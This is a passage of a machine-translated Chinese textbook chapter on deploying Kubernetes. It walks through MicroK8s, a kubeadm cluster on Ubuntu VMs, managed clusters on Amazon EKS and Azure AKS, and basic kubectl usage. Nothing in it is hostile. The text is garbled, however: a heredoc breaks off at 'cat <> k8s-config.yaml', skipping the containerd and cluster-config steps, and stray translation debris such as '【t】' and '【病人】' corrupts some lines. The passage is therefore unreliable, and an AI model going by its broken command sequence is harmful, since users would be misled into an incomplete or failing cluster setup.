/var/lib/snapd/snap /snap -``` - -现在,我们准备使用`snap`安装 Microk8s: - -```sh -sudo snap install microk8s --classic -``` - -请注意,对于**microk8s**CLI 的非 sudo 调用,您需要修复所需的权限,如*在 Ubuntu*上安装 microk8s 部分所示。 - -Kubernetes 桌面引擎非常适合在平台上学习和试验,但是它们与真实的生产环境相距甚远。 接下来,我们将介绍如何使用虚拟机安装 Kubernetes 集群。 - -## 在虚拟机上安装 Kubernetes - -在本节中,我们将通过在 Ubuntu**虚拟机**(**虚拟机**)上部署 Kubernetes 集群,使更接近真实的 Kubernetes 环境——尽管规模要小得多。 您可以使用任何 hypervisor,如 Oracle VirtualBox 或 VMware Fusion,它们都在本书的[*第一章*](01.html#_idTextAnchor014),*安装 Linux*中描述。 - -我们将为每个 VM 提供 2 个 vCPU 内核、2 GB RAM 和 20 GB 磁盘容量。 您可以按照[*第 1 章*](01.html#_idTextAnchor014)、*安装 Linux*中的*安装 Ubuntu*部分描述的步骤,使用您选择的 hypervisor。 - -在深入了解 Kubernetes 集群安装细节之前,让我们快速查看一下我们的实验室环境。 - -### 准备实验室环境 - -以下是我们的虚拟机环境的规格: - -**Hypervisor**:VMware Fusion - -**Kubernetes 群**:1 个**控制平面**(**CP**)节点; 三个工人节点 - -**CP 节点**: - -* `k8s-cp1`:`172.16.191.6` - -**工作节点**: - -* `k8s-n1`:`172.16.191.8` -* `k8s-n2`:`172.16.191.9` -* `k8s-n3`:`172.16.191.10` - -**虚拟机**:Ubuntu Server 20.04.2, 2 个 vcpu, 2gb RAM, 20gb 磁盘 - -**用户**:`packt`(在所有节点上),启用 SSH 访问 - -在 Ubuntu Server 安装向导中,我们在每个 VM 节点上设置用户名和主机名。 另外,确保在提示时启用 OpenSSH 服务器。 您的 VM IP 地址很可能与规范中的不同,但这并不重要。 您也可以选择为您的虚拟机使用静态 IP 地址。 - -要在集群中简化主机名解析,请编辑每个节点上的`/etc/hosts`文件并添加相关记录。 例如,在 Control Plane 节点(`k8s-cp1`)上有以下`/etc/hosts`文件: - -![Figure 14.3 – The /etc/hosts file on the CP node (k8s-cp1)](img/B13196_14_03.jpg) - -图 14.3 - CP 节点上的/etc/hosts 文件(k8s-cp1) - -在生产环境中,启用了防火墙集群节点,我们必须确保以下规则配置为接受集群中的网络流量(根据[https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/)): - -![](img/B13196_14_04.jpg) - -图 14.4 - Kubernetes 集群节点使用的端口 - -下面的章节假设您已经按照上述规格发放并运行了虚拟机。 在执行下一步之前,您可以对虚拟机进行一些初始快照。 如果安装出现任何问题,您可以恢复到初始状态并重新启动。 - -下面是我们安装 Kubernetes 集群的步骤: - -* 禁用交换 -* 安装**容器** -* 安装 Kubernetes 包:`kubelet`,`kubeadm`,`kubectl` - -我们必须在每个集群节点上执行这些步骤。 相关命令也可以在 GitHub 上附带的章节源代码中找到。 - -让我们从第一步开始,在每个节点上禁用内存交换。 - -#### 禁用交换 - -在 Linux 平台上,Kubernetes**kubelet**不能在启用`swap`的情况下工作。 见[https://github.com/kubernetes/kubernetes/issues/53533](https://github.com/kubernetes/kubernetes/issues/53533)。 `swap`是内存满时使用的磁盘空间。 - -要立即禁用`swap`,我们运行以下命令: - -```sh -sudo swapoff -a -``` - -为了在系统重新启动时保持禁用的`swap`,我们需要注释掉`/etc/fstab`中的`swap`相关条目。 您可以通过手动编辑`/etc/fstab`或使用以下命令来完成此操作: - -```sh -sudo sed -i '/\s*swap\s*/s/^\(.*\)$/# \1/g' /etc/fstab -``` - -您可能需要再次检查`/etc/fstab`中的*所有*`swap`条目是否被禁用: - -```sh -cat /etc/fstab -``` - -我们可以看到在我们的`/etc/fstab`文件中注释掉了`swap`挂载点: - -![Figure 14.5 – Disabling swap entries in /etc/fstab](img/B13196_14_05.jpg) - -图 14.5 -在/etc/fstab 中禁用交换项 - -请记住在集群中的每个节点上运行上述命令。 接下来,我们将看看如何安装 Kubernetes 容器运行时。 - -#### 安装 containerd - -在 Kubernetes 的最新版本中,`containerd`是默认的容器运行时。 `containerd`实现了**容器运行时接口**(**CRI**),由 Kubernetes 容器引擎抽象层要求。 相关的安装过程并不简单,我们将遵循撰写本文时 Kubernetes 官方文档中描述的步骤:[https://kubernetes.io/docs/setup/production-environment/container-runtimes/](https://kubernetes.io/docs/setup/production-environment/container-runtimes/)。 这些步骤可能随时更改,所以请务必检查最新的程序。 - -我们将从安装一些`containerd`先决条件开始。 我们使用`modprobe`启用`br_netfilter`和`overlay`内核模块: - -```sh -sudo modprobe br_netfilter -sudo modprobe overlay -``` - -我们还确保这些模块在系统重启时加载: - -```sh -cat <> k8s-config.yaml ---- -apiVersion: kubelet.config.k8s.io/v1beta1 -kind: KubeletConfiguration -cgroupDriver: systemd -EOF -``` - -最终的配置块如下: - -![Figure 14.14 – Pointing the kubelet's cgroup driver to systemd](img/B13196_14_14.jpg) - -图 14.14 -指向 kubelet 的 cgroup 驱动程序到 systemd - -现在,我们准备引导 Kubernetes 集群。 我们使用指向集群配置文件(`k8s-config.yaml`)的`--config`选项调用`kubeadm init`命令,使用指向`containerd`套接字的`--cri-socket`选项参数: - -```sh -sudo kubeadm init \ -    --config=k8s-config.yaml \ -    --cri-socket /run/containerd/containerd.sock -``` - -没有指定`--cri-socket`选项会导致飞行前错误,由于`kubeadm`中当前的错误仍然假设 Docker 是容器引擎,导致 Docker 运行时丢失。 `kubeadm`的未来版本可能会修复此行为。 - -执行该命令需要几分钟的时间。 Kubernetes 集群的成功引导完成如下输出: - -![Figure 14.15 – Successfully bootstrapping the Kubernetes cluster](img/B13196_14_15.jpg) - -图 14.15 -成功引导 Kubernetes 集群 - -此时,我们的 Kubernetes 控制平面节点已经启动并运行。 在输出中,我们突出显示了以下命令的相关摘录: - -* 将当前用户配置为 Kubernetes 集群管理员(**1**) -* 加入新的节点到 Kubernetes 集群(**2**) - -我们建议花些时间检查完整的输出,并识别每个`kubeadm init`任务的相关信息,如本章前面的*介绍 kubeadm*一节所捕获的那样。 - -接下来,为了将当前用户配置为 Kubernetes 集群管理员,我们运行以下命令: - -```sh -mkdir -p ~/.kube -sudo cp -i /etc/kubernetes/admin.conf ~/.kube/config -sudo chown $(id -u):$(id -g) ~/.kube/config -``` - -在我们的集群启动并运行之后,让我们部署*Calico*网络清单来创建 Pod 网络: - -```sh -kubectl apply -f calico.yaml -``` - -上述命令将创建 Pod 覆盖网络相关的资源集合。 现在,我们准备通过使用`kubectl`命令来列出系统中的所有 pod 来第一次窥视集群的状态: - -```sh -kubectl get pods --all-namespaces -``` - -该命令输出如下: - -![Figure 14.16 – Retrieving the Pods in the Kubernetes cluster](img/B13196_14_16.jpg) - -图 14.16 -在 Kubernetes 集群中取回 pod - -`--all-namespaces`选项可以跨集群中的所有资源组检索 pod。 Kubernetes 使用*名称空间*来组织资源。 目前,在我们的集群中运行的唯一 pod 是*系统 pod*,因为我们还没有部署任何用户 pod。 - -查询当前集群中的节点: - -```sh -kubectl get nodes -``` - -输出显示`k8s-cp1`作为 Kubernetes 集群中配置的唯一节点,作为 Control Plane 节点运行: - -![Figure 14.17 – Listing the current nodes in the Kubernetes cluster](img/B13196_14_17.jpg) - -图 14.17 -列出 Kubernetes 集群中的当前节点 - -您可能还记得引导 Kubernetes 集群之前的,`kubelet`服务不断地崩溃(并试图重新启动)。 当集群启动并运行时,`kubelet`守护进程的状态应该是*活动的*和*运行的*: - -```sh -sudo systemctl status kubelet -``` - -输出如下所示: - -![Figure 14.18 – A healthy kubelet in the cluster](img/B13196_14_18.jpg) - -图 14.18 -集群中一个健康的 kubelet - -我们鼓励您查看在`/etc/kubernetes/manifests/`目录中为每个集群组件创建的清单: - -```sh -ls /etc/kubernetes/manifests/ -``` - -输出显示了描述静态(系统)Pods 的配置文件,对应于*API 服务器*、*控制器管理器*、*调度程序*和`etcd`: - -![Figure 14.19 – The static Pod configuration files in /etc/kubernetes/manifests/](img/B13196_14_19.jpg) - -图 14.19 - /etc/kubernetes/manifests/中的静态 Pod 配置文件 - -您也可以查看`/etc/kubernetes`中的`kubeconfig`文件: - -```sh -ls /etc/kubernetes/ -``` - -您可能还记得本章前面介绍 kubeadm 一节,集群组件使用`kubeconfig`文件与 API 服务器进行通信和身份验证。 - -接下来,我们将工作节点添加到 Kubernetes 集群中。 - -### 加入一个节点到 Kubernetes 集群 - -如前所述,在向 Kubernetes 集群添加节点之前,您将需要运行本章前面*准备实验室环境*一节中描述的初步步骤。 - -要将一个节点加入到集群中,我们需要在 Kubernetes 集群成功引导时生成的*引导令牌*和*发现令牌 CA 证书哈希*。 在使用`kubadm init`引导过程结束时的输出中提供了与相关`kubadm join`命令相关的令牌。 参考本章前面的*创建 Kubernetes 控制平面节点*一节。 - -请记住,引导令牌将在 24 小时内到期。 如果您忘记复制该命令,您可以在控制平面节点的终端(在`k8s-cp1`上)运行以下命令来检索相关信息: - -* Retrieve the current bootstrap tokens: - - ```sh - kubeadm token list - ``` - - 输出显示了我们的令牌(`abcdef.0123456789abcdef`): - -![Figure 14.20 – Getting the current bootstrap tokens](img/B13196_14_20.jpg) - -图 14.20 -获取当前引导令牌 - -* Get the CA certificate hash: - - ```sh - openssl x509 -pubkey \ -     -in /etc/kubernetes/pki/ca.crt | \ -     openssl rsa -pubin -outform der 2>/dev/null | \ -     openssl dgst -sha256 -hex | sed 's/^.* //' - ``` - - 输出如下: - -![Figure 14.21 – Getting the CA certificate hash](img/B13196_14_21.jpg) - -图 14.21 -获取 CA 证书哈希值 - -你也可以通过下面的命令生成一个新的引导令牌: - -```sh -kubeadm token create -``` - -如果你选择生成一个新的令牌,你可以使用下面的流线型命令打印出完整的`kubeadm join`命令和所需的参数: - -```sh -kubeadm token create --print-join-command -``` - -在接下来的步骤中,我们将使用引导过程末尾的输出中显示的初始令牌。 因此,让我们切换到节点的命令行终端(在`k8s-n1`上)并运行以下命令: - -1. Make sure to invoke `sudo`, or the command will fail with insufficient permissions: - - ```sh - sudo kubeadm join 172.16.191.6:6443 \ -     --token abcdef.0123456789abcdef \ -     --discovery-token-ca-cert-hash sha256:bf5d3a2b9526e 98f7403ec4a07cf052b961b3201913c040cd4e6e28f8818d8c2 - ``` - - 该命令通常在几秒钟内完成,输出如下(摘录): - - ![Figure 14.22 – Joining a node to the cluster](img/B13196_14_22.jpg) - - 图 14.22 -加入一个节点到集群 - -2. As the output suggests, we can check the status of the current nodes in the cluster with the following command in the Control Plane node terminal (`k8s-cp1`): - - ```sh - kubectl get nodes - ``` - - 输出显示了添加到集群的新节点(`k8s-n1`): - - ![Figure 14.23 – The new node (k8s-n1) added to the cluster](img/B13196_14_23.jpg) - - 图 14.23 -添加到集群的新节点(k8 -n1 - -3. We encourage you to repeat the process of joining the other two cluster nodes (`k8s-n2` and `k8s-n3`). During the join, while the Control Plane Pods are being deployed on the new node, you may temporarily see a `NotReady` status for the new node if you query the nodes on the Control Plane node (`k8s-cp1`): - - ```sh - kubectl get nodes --watch - ``` - - 调用`--watch`选项会不断刷新输出: - -![Figure 14.24 – The transitory NotReady state while joining a node](img/B13196_14_24.jpg) - -图 14.24 -连接节点时的临时 NotReady 状态 - -最后,我们应该在`kubectl get nodes`命令(在`k8s-cp1`控制平面节点上)的输出中显示`Ready`的所有三个节点: - -![Figure 14.25 – The Kubernetes cluster with all nodes running](img/B13196_14_25.jpg) - -图 14.25 -所有节点都在运行的 Kubernetes 集群 - -我们完成了 Kubernetes 集群的安装,使用一个 Control Plane 节点和三个 worker 节点。 我们使用本地(本地)VM 环境,但同样的过程也适用于运行在私有或公共云中的托管 IaaS 解决方案。 - -接下来,我们将把*管理的*Kubernetes 服务作为主要云提供商提供的 SaaS 产品。 - -## 在云中运行 Kubernetes - -托管的 Kubernetes 服务在公共云提供商中相当常见。 下面是 Kubernetes 在中提供的一些主要云产品: - -* Amazon**Elastic Kubernetes Service**(**EKS**:[https://docs.aws.amazon.com/eks/index.html](https://docs.aws.amazon.com/eks/index.html) -* **Azure Kubernetes Service**(**AKS**):[https://azure.microsoft.com/en-us/services/kubernetes-service/](https://azure.microsoft.com/en-us/services/kubernetes-service/) -* **谷歌 Kubernetes Engine**(**GKE**):[https://cloud.google.com/kubernetes-engine](https://cloud.google.com/kubernetes-engine) - -在本节中,我们将重点关注使用 Amazon EKS 和 Microsoft AKS 的 Kubernetes 部署。 部署托管 Kubernetes 集群的过程基本上是相同的,不管云提供商是谁: - -* 使用 CLI 或 web 管理控制台与云提供商进行身份验证。 -* 部署 Kubernetes 集群。 -* 下载集群`kubeconfig`文件。 -* 使用`kubectl`对 API 服务器进行身份验证,并与集群进行交互。 - -如果你想尝试本节中的实践示例,你需要有一个 AWS 和一个 Azure 帐户。 两个云提供商都提供免费订阅: - -* AWS Free Tier:[https://aws.amazon.com/free](https://aws.amazon.com/free) -* Microsoft Azure 免费账号:[https://azure.microsoft.com/en-us/free/](https://azure.microsoft.com/en-us/free/) - -让我们首先在 Amazon EKS 上创建一个 Kubernetes 集群。 - -### 展开前顾 - -我们假设您有一个 AWS 帐户,并在本地 Linux 桌面上安装了 AWS CLI。 相关说明请参见[*第 13 章*](13.html#_idTextAnchor239)*使用 AWS 和 Azure 部署到云*中的*Working with the AWS CLI*部分。 - -在本节中,我们将使用 RHEL/CentOS 系统与 Amazon EKS 交互。 操作系统或 Linux 发行版是无关紧要的,因为有用于与集群通信的**AWS**和`kubectl`CLI 抽象,而相同的步骤将适用于任何其他平台。 - -重要提示 - -在部署带有 EKS 的 Kubernetes 集群之前,我们需要将**Amazon EKS 集群 IAM 角色**分配到我们的 AWS 帐户。 请参照[https://docs.aws.amazon.com/eks/latest/userguide/service_IAM_role.html#create-service-role](https://docs.aws.amazon.com/eks/latest/userguide/service_IAM_role.html#create-service-role)的相关说明。 - -启用了所需的 EKS 集群 IAM 角色后,我们可以通过以下两种方式在 EKS 中部署 Kubernetes 集群: - -* **AWS web 控制台** -* 【t】aws cli -* `eksctl` - -创建 EKS 集群最简单的方法是使用`eksctl`命令行实用程序—Amazon EKS:[https://docs.aws.amazon.com/eks/latest/userguide/eksctl.html](https://docs.aws.amazon.com/eks/latest/userguide/eksctl.html)的官方 CLI。 - -现在让我们下载并安装`eksctl`到我们的 Linux 系统: - -```sh -curl --silent --location "https://github.com/weaveworks/eksctl/releases/latest/download/eksctl_$(uname -s)_amd64.tar.gz" | tar xz -C /tmp -sudo mv /tmp/eksctl /usr/local/bin/ -``` - -您可以通过调用相关的帮助来探索`eksctl`的功能: - -```sh -eksctl help -``` - -`eksctl`专注于在 Amazon EKS 上部署和拆除 Kubernetes 集群,同时自动化 AWS 中相关的云资源管理任务。 `eksctl`不是像`kubectl`那样的 Kubernetes 集群管理工具。 在端到端集群管理工作负载中,这两个 CLI 实用程序最好是互补的。 - -接下来,通过观察 Linux 安装指令[https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/),在系统上安装`kubectl`: - -```sh -curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" -sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl -``` - -如果没有安装`kubectl`,`eksctl`仍然可以工作,但是会警告我们集群管理能力有限。 - -要在 EKS 上创建一个 Kubernetes 集群,我们运行以下命令: - -```sh -eksctl create cluster \ -    --name k8s-packt \ -    --nodes 2 \ -    --node-volume-size 20 \ -    --region us-west-2 \ -    --managed -``` - -让我们简要地解释一下前面命令的每个部分: - -* `eksctl create cluster`:在 Amazon EKS 上创建 Kubernetes 集群 -* `--name k8s-packt`:集群名称(`k8s-packt`) -* `--nodes 2`:集群中的节点数(默认值为 2) -* `--node-volume-size 20`:节点的卷大小,单位为 GB(默认为 80gb) -* `--region us-west-2`:集群部署的地理位置 -* `--managed`:在集群中创建一个 eks 管理的节点组(用于自动更新等) - -该命令可能需要 15 分钟才能完成,有时甚至更长。 它将创建和部署所需的所有为集群资源,包括**虚拟私有云**(**VPC**),安全组,网络,**弹性 IP**(**EIP【显示】),集群节点 EC2 实例。** - -完成后,命令输出将显示关于我们的集群的一些相关信息,包括集群节点的状态和`kubeconfig`文件的位置: - -![Figure 14.26 – Creating the Kubernetes cluster on EKS](img/B13196_14_26.jpg) - -图 14.26 -在 EKS 上创建 Kubernetes 集群 - -我们可以立即使用`kubectl`与我们的 EKS 集群交互。 确保我们当前的`kubeconfig`上下文在 EKS 集群上设置: - -```sh -kubectl config get-contexts -``` - -输出显示当前`kubeconfig`上下文的星号(`*`),标记我们的 EKS 集群(`k8s-packt.us-west-2.eksctl.io`): - -![Figure 14.27 – Checking the current kubeconfig context](img/B13196_14_27.jpg) - -图 14.27 -检查当前 kubeconfig 上下文 - -下面的命令在从同一个`kubectl`终端管理多个 Kubernetes 集群时非常有用。 要将`kubeconfig`上下文切换到我们的 EKS 集群,我们运行以下命令: - -```sh -kubectl config use-context \ -    iam-root-account@k8s-packt.us-west-2.eksctl.io -``` - -下面让我们来看看我们的集群节点: - -```sh -kubectl get nodes -``` - -输出显示了两个工作节点,而 Control Plane 节点隐藏在视图中。 这是因为控制平面完全由 EKS 管理: - -![Figure 14.28 – Retrieving the cluster nodes on EKS](img/B13196_14_28.jpg) - -图 14.28 -在 EKS 上检索集群节点 - -下面的命令列出了我们的 EKS 集群中的所有 pod: - -```sh -kubectl get pods --all-namespaces -``` - -输出只显示了附加组件 pod,因为还没有部署用户 pod。 控制舱从视图中隐藏: - -![Figure 14.29 – Retrieving the cluster Pods on EKS](img/B13196_14_29.jpg) - -图 14.29 -在 EKS 上提取集群吊舱 - -要删除一个 EKS 集群,我们调用带有集群名称的`eksctl delete cluster`: - -```sh -eksctl delete cluster --name k8s-packt -``` - -该命令将从 EKS 中删除我们的 Kubernetes 集群,并释放所有相关的云资源。 - -(我们现在还不删除集群。) - -我们也可以在 AWS 控制台的**EKS 集群**视图中管理我们的集群: - -![Figure 14.30 – Managing the EKS cluster in the AWS console](img/B13196_14_30.jpg) - -图 14.30 -在 AWS 控制台中管理 EKS 集群 - -在结束本节之前,让我们看看如何用 EKS 集群信息更新`kubeconfig`。 也许我们在另一台机器上创建了 EKS 集群,并希望将所有集群管理合并到本地`kubectl`环境中。 或者,我们可能希望为集群管理使用不同的用户帐户或**身份和访问管理**(**IAM**)角色。 下面的小节提供了一种快速、简单的方法来完成这项任务。 - -### 连接 EKS 集群 - -假设我们使用旧系统创建了一个 EKS 集群,并希望使用全新的笔记本电脑进行集群管理。 让我们将旧系统命名为*木星*,新笔记本电脑命名为*海王星*。 在 Neptune 上,我们已经管理 AKS 上的 Kubernetes 集群(我们将在下一节中查看)。 在选择 EKS 和 AKS 集群上下文时,最好在 Neptune 的`kubeconfig`上同时拥有两个集群管理端点。 - -我们将首先在 Neptune 上安装 AWS CLI。 接下来,我们使用以下命令配置本地 AWS 环境: - -```sh -aws configure -``` - -相关过程被描述在*使用 AWS CLI*的[*第十三章*](13.html#_idTextAnchor239),*部署到云与 AWS 和 Azure*。 如果您使用的 AWS 帐户与 Jupyter 环境中的不同,请确保它启用了 Amazon EKS 集群角色并能够访问集群资源。 - -我们现在已经准备好更新海王星上的`kubeconfig`与 EKS 集群背景。 假设我们之前创建的 EKS 集群(`k8s-packt`),命令如下: - -```sh -aws eks update-kubeconfig \ -    --name k8s-packt \ -    --region us-west-2 -``` - -让我们来看看当前的`kubeconfig`上下文: - -```sh -kubectl config get-contexts -``` - -输出显示本地`kubeconfig`文件包含我们的 Amazon EKS 集群,并且它也是当前(默认)上下文: - -![Figure 14.31 – Updating kubeconfig with the EKS cluster context](img/B13196_14_31.jpg) - -图 14.31 -使用 EKS 集群上下文更新 kubeconfig - -现在,我们可以在相同的`kubectl`环境中管理 EKS 和 AKS 上的两个集群。 EKS 集群的上下文名称包含集群的**Amazon 资源名称**(**ARN**)。 让我们把它重命名为更用户友好的东西(`k8s-packt-eks`): - -```sh -kubectl config rename-context \ -    arn:aws:eks:us-west-2:106842557074:cluster/k8s-packt \ -    k8s-packt-eks -``` - -如果我们查询本地的`kubeconfig`文件,输出显示更新的 EKS 集群上下文: - -![Figure 14.32 – Renaming the EKS cluster context](img/B13196_14_32.jpg) - -图 14.32 -重命名 EKS 集群上下文 - -在我们可能的场景中,我们将`kubeconfig`环境整合到一个新机器(Neptune)上,用于管理 EKS 和 AKS 集群。 我们假设 Neptune 已经配置了 AKS 集群管理。 让我们回到过去,在 AKS 上创建一个 Kubernetes 集群。 - -### 展开 Kubernetes 的 AKS - -在本节中,我们假设您在本地 Linux 桌面上安装了 AzureCLI。 相关说明请参考[*第 13 章*](13.html#_idTextAnchor239)、*使用 AWS 和 Azure 部署到云*中的*使用 Azure CLI*部分。 - -我们将使用安装了 Azure CLI 并配置了免费(试用)Azure 帐户的 Ubuntu 机器。 在终端,首先登录你的 Azure 账户: - -```sh -az login -``` - -按照上一节中描述的验证步骤进行操作。 成功登录后,我们将继续为 Kubernetes 服务创建一个资源组(`k8s-packt`): - -```sh -az group create --name "k8s-packt" --location westus -``` - -我们为资源指定了我们的本地地理位置(`westus`)。 你可以使用你选择的区域。 如果资源组创建成功,我们应该在命令输出中看到`"provisioningState": "Succeeded"`: - -![Figure 14.33 – Creating a resource on the Kubernetes cluster](img/B13196_14_33.jpg) - -图 14.33 -在 Kubernetes 集群上创建资源 - -接下来,我们查询我们位置可用的 Kubernetes 版本: - -```sh -az aks get-versions --location westus -o table -``` - -输出显示了可用的 Kubernetes 版本,以及 Azure 支持的相应升级: - -![Figure 14.34 – Getting the Kubernetes versions for our location](img/B13196_14_34.jpg) - -图 14.34 -获取 Kubernetes 版本的位置 - -我们可以为 Kubernetes 集群选择一个特定的版本,或者让 Azure 选择默认值。 下面的命令创建一个名为`k8s-packt`的集群,其中有两个节点使用默认的 Kubernetes 版本: - -```sh -az aks create \ -    --resource-group "k8s-packt" \ -    --name "k8s-packt" \ -    --generate-ssh-keys \ -    --node-count 2 -``` - -下面是该命令和相关参数的简要说明: - -* `az aks create`:在 AKS 中创建 Kubernetes 集群 -* `--resource-group`:Kubernetes 集群所属的资源组(`k8s-packt`) -* `--name`:Kubernetes 集群的名称(`k8s-packt`) -* `--generate-ssh-keys`:创建用于访问集群节点的 SSH 密钥对 -* `--node-count`:集群中的节点数(`2`) - -我们可以选择使用`--kubernetes-version`参数指定 Kubernetes 版本。 - -命令可能需要几分钟才能完成。 我们应该在成功部署的相关 JSON 输出中看到`"provisioningState": "Succeeded"`。 在其他相关数据中,我们还可以看到我们的集群的 Kubernetes 版本(`"kubernetesVersion": "1.18.14"`)。 - -以下步骤需要使用`kubectl`命令行实用程序。 我们假设您已经在您的系统上安装了它。 如果没有,你可以按照[https://kubernetes.io/docs/tasks/tools/#kubectl](https://kubernetes.io/docs/tasks/tools/#kubectl)的说明或者使用 Azure CLI 安装`kubectl`: - -```sh -az aks install-cli -``` - -`kubectl`需要访问我们 AKS 集群的 API 服务器端点。 为此,我们必须将相关的`kubeconfig`下载到我们的本地系统中。 下面的命令检索集群凭据并将远程`kubeconfig`合并到本地环境中。 然后使用本地`kubeconfig`连接到远程 AKS 集群,使用基于证书的用户身份验证: - -```sh -az aks get-credentials \ -    --resource-group "k8s-packt" \ -    --name "k8s-packt" -``` - -提示`k8s-packt`集群的远端`kubeconfig`已经与`/home/packt/.kube/config`中当前用户的配置合并: - -![Figure 14.35 – Merging the remote kubeconfig with the local environment ](img/B13196_14_35.jpg) - -图 14.35 -将远程 kubeconfig 与本地环境合并 - -现在,让我们检索当前用户的`kubeconfig`上下文: - -```sh -kubectl config get-contexts -``` - -正如预期的那样,输出显示`k8s-packt`是我们管理的唯一的 Kubernetes 集群。 星号(`*`)将其标记为当前的`kubeconfig`上下文: - -![Figure 14.36 – Retrieving the current kubeconfig contexts ](img/B13196_14_36.jpg) - -图 14.36 -获取当前 kubeconfig 上下文 - -在管理多个 Kubernetes 集群的情况下,前面的列表将显示各种条目。 有多个配置可供选择,我们可以使用以下命令将当前的`kubeconfig`上下文切换到`k8s-packt`集群: - -```sh -kubectl config use-context k8s-packt -``` - -现在,所有的`kubectl`命令都指向 AKS 中的`k8s-packt`集群。 让我们检索集群节点: - -```sh -kubectl get nodes -``` - -输出显示了我们 AKS 集群的两个 worker 节点: - -![Figure 14.37 – Getting the nodes of the AKS cluster](img/B13196_14_37.jpg) - -图 14.37 -获取 AKS 集群的节点 - -我们应该注意到,没有列出 Control Plane 节点。 这是因为 Azure 隐藏了相关信息,原因很明显,即控制平面是在云中专门管理的,我们不应该篡改它。 pod 也是如此。 由于还没有部署用户 pod,下面的命令将只显示我们 AKS 集群的附加 pod: - -```sh -kubectl get pods --all-namespaces -``` - -没有在输出中列出的控制平面 pod: - -![Figure 14.38 – Getting the Pods of the AKS cluster](img/B13196_14_38.jpg) - -图 14.38 -获取 AKS 集群的 pod - -您可以将前面的输出与本章前面*在虚拟机上*节中描述的本地集群的相应结果进行比较。 - -要删除 AKS 集群(`k8s-packt`),释放相关云资源,可以执行如下命令: - -```sh -az aks delete \ -    --resource-group "k8s-packt" \ -    --name "k8s-packt" -``` - -(我们现在还不删除集群。) - -到目前为止,我们只使用 Azure CLI 和`kubectl`与 AKS 交互。 我们也可以使用 Azure web portal 在 Kubernetes services**视图中管理我们的`k8s-packt`集群:** - - **![Figure 14.39 – Managing the AKS cluster in the Azure portal](img/B13196_14_39.jpg) - -图 14.39 -在 Azure 门户中管理 AKS 集群 - -现在,让我们考虑的一个假想场景,在这个场景中,我们希望将当前的 AKS 集群管理上下文带到一个不同的机器上,以管理多个 Kubernetes 集群,这些集群可能运行在其他云或本地。 - -我们将在本章前面的*连接到一个 EKS 集群*一节中参考木星和海王星机器的例子。 假设我们最初使用 Neptune 创建 AKS 集群,但计划使用 Jupyter 作为我们的合并集群管理终端。 木星已经配置了一个 EKS 集群。 让我们来看看如何连接到木星上的 AKS 集群,并管理 EKS 和 AKS 中的 Kubernetes 环境。 - -### 连接到 AKS 集群 - -首先,我们需要下载并安装 Azure CLI 到木星上。 在 Azure CLI 就绪后,我们使用`az login`来使用 Azure 进行身份验证。 我们在[*第 13 章*](13.html#_idTextAnchor239),*部署到云与 AWS 和 Azure*中*使用 Azure CLI*部分描述了相关步骤。 - -接下来,我们检索 AKS 集群(`k8s-packt`)的访问凭据: - -```sh -az aks get-credentials \ -  --name k8s-packt \ -  --resource-group k8s-packt -``` - -前面的命令将 AKS 集群的配置与我们本地的`kubeconfig`合并: - -```sh -kubectl config get-contexts -``` - -结果显示,AKS 中有`k8s-packt`组,EKS 中有`k8s-packt-eks`组。 AKS 集群上下文目前是活跃的,如星号(`*`)所示: - -![Figure 14.40 – Updating kubeconfig with the AKS cluster context](img/B13196_14_40.jpg) - -图 14.40 -使用 AKS 集群上下文更新 kubeconfig - -为了一致性,我们将 AKS 集群上下文重命名为`k8s-packt-aks`,以更好地反映云环境: - -```sh -kubectl config rename-context k8s-packt k8s-packt-aks -``` - -更新后的`kubeconfig`上下文产生以下输出: - -![Figure 14.41 – The AKS and EKS cluster contexts side by side](img/B13196_14_41.jpg) - -图 14.41 - AKS 和 EKS 相邻的集群上下文 - -通过我们相对简短的对 EKS 和 AKS 的报道,我们应该注意到,我们只是接触到了在云中部署和管理 Kubernetes 集群的表层。 然而,我们现在正处于一个重要的里程碑,我们在云和本地部署了第一个 Kubernetes 集群。 您熟悉了 Kubernetes 集群架构及其主要系统组件。 我们介绍了`kubeadm`和`kubectl`CLI 工具来与集群交互。 现在,是时候把这些知识应用到一些好的用途上了,并更密切地关注与 Kubernetes 的合作。 - -在下一节中,我们将深入探讨`kubectl`CLI,并使用它来创建和管理 Kubernetes 资源。 然后,我们将研究如何使用 Kubernetes 中的命令式和声明式部署模型来部署和扩展应用。 - -# 与 Kubernetes 合作 - -在本节中,我们将使用与 Kubernetes 集群交互的真实示例。 由于我们将在相当大的程度上使用`kubectl`CLI,因此我们将深入研究它的一些更常见的使用模式。 然后,我们将重点放在将应用部署到 Kubernetes 集群上。 我们将使用在*在虚拟机上安装 Kubernetes*一节中构建的本地环境。 - -让我们先来仔细看看`kubectl`及其用法。 - -## 使用 kubectl - -`kubectl`是管理 Kubernetes 集群及其资源的主要工具。 `kubectl`使用 Kubernetes REST API 与集群的 API 服务器端点通信。 `kubectl`命令的一般语法如下: - -```sh -kubectl [command] [TYPE] [NAME] [flags] -``` - -一般来说,`kubectl`**命令执行 CRUD 操作**——*创造*,*读*,*更新【显示】,*和*删除,对 Kubernetes【病人】*资源,如豆荚、部署和服务。** - -`kubectl`的基本特性之一是命令输出格式,可以是 YAML、JSON 或纯文本格式。 在创建或编辑应用部署清单时,输出格式非常方便。 我们可以将`kubectl`命令(例如创建资源)的 YAML 输出捕获到文件中。 稍后,我们可以重用清单文件以*声明式*的方式执行相同的操作(或操作序列)。 这让我们想到 Kubernetes 的两种基本部署模式: - -* **强制部署**:调用单个或多个`kubectl`命令对特定资源进行操作 -* **声明式部署**:使用*清单文件*和*使用`kubectl apply`命令部署*清单文件,通常针对使用单一调用的一组资源 - -我们将在本章后面的*部署应用*一节中更仔细地研究这两种部署模型。 现在,让我们回过头来进一步探讨`kubectl`命令。 - -下面是一些最常见的`kubectl`命令: - -* `create`,`apply`:命令式/声明式创建资源 -* `get`:读取资源 -* `edit`、`set`:更新资源或对象的特定特性 -* `delete`:删除资源 -* `run`:启动 Pod -* `exec`:在 Pod 容器中执行命令 -* `describe`:显示资源的详细信息 -* `explain`:提供资源相关文档 -* `logs`:显示 Pod 容器中的日志 - -`kubectl`命令的两个常用的选项参数也值得一提: - -* `--dry-run`:在不修改系统状态的情况下运行命令,同时仍然提供正常执行的输出 